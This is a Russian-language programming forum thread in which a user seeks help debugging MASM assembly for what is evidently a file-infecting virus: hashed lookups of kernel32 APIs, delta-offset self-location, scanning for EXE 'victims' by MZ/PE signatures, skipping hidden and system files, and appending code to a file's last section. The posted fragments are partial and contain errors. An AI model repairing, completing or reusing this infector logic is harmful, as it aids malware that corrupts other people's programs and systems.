Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Низкоуровневое программирование > Assembler - Ассемблер (FASM, MASM, WASM, NASM, GoASM, Gas, RosAsm, HLA) и не рекомендуем TASM
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 31.08.2012, 13:02   #11
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

Разумеется с по, сначала компилятор, заменяет мнемокоды их машинными эквивалетами команд,с которыми работает предпроцессор, предпроцессор считывает код команды в виде ассемблерной инструкции и переводит ее на язык машинных команд с которыми работает процессор
djonatan98 вне форума Ответить с цитированием
Старый 31.08.2012, 13:37   #12
Пепел Феникса
Старожил
 
Аватар для Пепел Феникса
 
Регистрация: 28.01.2009
Сообщений: 21,000
По умолчанию

нет, мнемокод сразу меняется на опкоды.(до этого идет обработка препроцессором и тп)
Хорошо поставленный вопрос это уже половина ответа. | Каков вопрос, таков ответ.
Программа делает то что написал программист, а не то что он хотел.
Функции/утилиты ждут в параметрах то что им надо, а не то что вы хотите.
Пепел Феникса вне форума Ответить с цитированием
Старый 31.08.2012, 15:36   #13
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

Но вот как мою проблему решить у меня выдается,выдается следующая ошибка - http://i049.radikal.ru/1208/df/9acb7f757bc6.jpg

Код:
 .IF  !(eax & FILE_ATTRIBUTE_HIDDEN || eax & FILE_ATTRIBUTE_SYSTEM ||)
Таблица функций определена в начале, также подсчитаны хеш - значения, для каждой функуии:



Код:
dwSectionAlignment dd 0

WIN32_FIND_DATA           label    byte
  WFD_dwFileAttributes    dd       0
  WFD_ftCreationTime      dq       0
  WFD_ftLastAccessTime    dq       0
  WFD_ftLastWriteTime     dq       0
  WFD_nFileSizeHigh       dd       0
  WFD_nFileSizeLow        dd       0
  WFD_dwReserved0         dd       0
  WFD_dwReserved1         dd       0
  WFD_szFileName          db       260 dup (0)
  WFD_szAlternateFileName db       14 dup (0)
WIN32_FIND_DATA_END       label    byte
              
delta_off      equ [ebp+18h]

CloseHandle         equ dword ptr [ebp-4*1]
FindFirstFileA      equ dword ptr [ebp-4*2]
FindNextFileA       equ dword ptr [ebp-4*3]
CreateFileA         equ dword ptr [ebp-4*4]
ReadFile            equ dword ptr [ebp-4*5]
GlobalAlloc         equ dword ptr [ebp-4*6]
GetFileSize         equ dword ptr [ebp-4*7]
SetFilePointer      equ dword ptr [ebp-4*8]
WriteFile           equ dword ptr [ebp-4*9]
GlobalFree          equ dword ptr [ebp-4*10]
VirtualProtect      equ dword ptr [ebp-4*11]
_ExitProcess        equ dword ptr [ebp-4*12]
GetProcAddress      equ dword ptr [ebp-4*13]
LoadLibrary         equ dword ptr [ebp-4*14]
FindClose           equ dword ptr [ebp-4*15]
GetModuleFileNameA  equ dword ptr [ebp-4*16]
SetCurrentDirectoryA equ dword ptr [ebp-4*17]
FreeLibrary         equ dword ptr [ebp-4*18]

; Таблица хешей
HashTable:
dd 0F867A91Eh ; CloseHandle
dd 03165E506h ; FindFirstFileA
dd 0CA920AD8h ; FindNextFileA
dd 0860B38BCh ; CreateFileA
dd 029C4EF46h ; ReadFile
dd 0CC17506Ch ; GlobalAlloc
dd 0AAC2523Eh ; GetFileSize
dd 07F3545C6h ; SetFilePointer
dd 0F67B91BAh ; WriteFile
dd 03FE8FED4h ; GlobalFree
dd 015F8EF80h ; VirtualProtect
dd 0D66358ECh ; ExitProcess
dd 05D7574B6h ; GetProcAddress
dd 071E40722h ; LoadLibraryA
dd 0E65B28ACh ; FindClose
dd 059B44650h ; GetModuleFileNameA
dd 00709DC94h ; SetCurrentDirectoryA
dd 0D64B001Eh ; FreeLibrary
dw 0FFFFh     ; Признак конца таблицы
Программа ищет exe-файл методом сравнения сигнатур PE, начала получая метку MZ,сверяет сигнатуру MZ - 5A4Dh, если сигатура верна переходит к PE -заголовку и сравнивает сигнатуру PE -4550h, найдя нужный файл с атрибутом

Код:
FILE_ATTRIBUTE_NORMAL
- в который выполняется операция записи в последнею секцию.

База поиска kernel32 и таблица экспорта уже получены

Последний раз редактировалось djonatan98; 31.08.2012 в 16:09.
djonatan98 вне форума Ответить с цитированием
Старый 01.09.2012, 00:19   #14
bitix
Форумчанин
 
Аватар для bitix
 
Регистрация: 21.04.2012
Сообщений: 792
По умолчанию

неблагодарная эта работа, а точнее времяпровождения, копировать готовый код а потом этот код скомпилировать. Самое что лучшее, это когда сам свой алгоритм создаешь, пишешь свой софт на свой вкус и желания или находишь чужие баги в программах.
Талантливыми не становятся, а рождаются
bitix вне форума Ответить с цитированием
Старый 01.09.2012, 12:13   #15
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

Вот тут как раз багов много
djonatan98 вне форума Ответить с цитированием
Старый 06.09.2012, 20:05   #16
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

Я пробовал и так:


Код:
IMAGE_OPTIONAL_HEADER32  STRUCT
  Magic                         WORD       ?
  MajorLinkerVersion            BYTE       ?
  MinorLinkerVersion            BYTE       ?
  SizeOfCode                    DWORD      ?
  SizeOfInitializedData         DWORD      ?
  SizeOfUninitializedData       DWORD      ?
  AddressOfEntryPoint           DWORD      ?
  BaseOfCode                    DWORD      ?
  BaseOfData                    DWORD      ?
  ImageBase                     DWORD      ?
  SectionAlignment              DWORD      ?
  FileAlignment                 DWORD      ?
  MajorOperatingSystemVersion   WORD       ?
  MinorOperatingSystemVersion   WORD       ?
  MajorImageVersion             WORD       ?
  MinorImageVersion             WORD       ?
  MajorSubsystemVersion         WORD       ?
  MinorSubsystemVersion         WORD       ?
  Win32VersionValue             DWORD      ?
  SizeOfImage                   DWORD      ?
  SizeOfHeaders                 DWORD      ?
  CheckSum                      DWORD      ?
  Subsystem                     WORD       ?
  DllCharacteristics            WORD       ?
  SizeOfStackReserve            DWORD      ?
  SizeOfStackCommit             DWORD      ?
  SizeOfHeapReserve             DWORD      ?
  SizeOfHeapCommit              DWORD      ?
  LoaderFlags                   DWORD      ?
  NumberOfRvaAndSizes           DWORD      ?
IMAGE_OPTIONAL_HEADER32 ENDS

Код:
.data
    db 0
.code
start:
   сall  VirDelta
VirDelta:
    sub   dword ptr [esp], OFFSET VirDelta
    push  dword ptr [esp] ; Сохраняем значение дельта-смещения в стеке
    
    assume edi:ptr IMAGE_NT_HEADERS
      add edi, delta_off
      lea edi, [edi].OptionalHeader
То есть получить указатель на структуру IMAGE_OPTIONAL_HEADER32 с корректировкой на полученное дельта-смещение,но это не устранило ошибку

Последний раз редактировалось djonatan98; 06.09.2012 в 20:07.
djonatan98 вне форума Ответить с цитированием
Старый 08.09.2012, 18:36   #17
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

что то не так в этом фрагменте кода


Код:
 ; Проверяем размер файла
    mov  eax, OFFSET WFD_nFileSizeLow ; адрес WIN32_FIND_DATA.nFileSizeLow
    mov  eax, delta_off
    mov  eax, [eax] ; значение WIN32_FIND_DATA.nFileSizeLow
    .IF !(0 < =  eax && eax < = MaxVictimSize)
        jmp _FindNextFileA
	.ENDIF
djonatan98 вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
антивирус ulito4ka Безопасность, Шифрование 50 26.03.2011 23:15
антивирус Вета_907 Помощь студентам 4 24.07.2009 20:15
Антивирус Sanek777 Общие вопросы Delphi 6 04.11.2008 14:56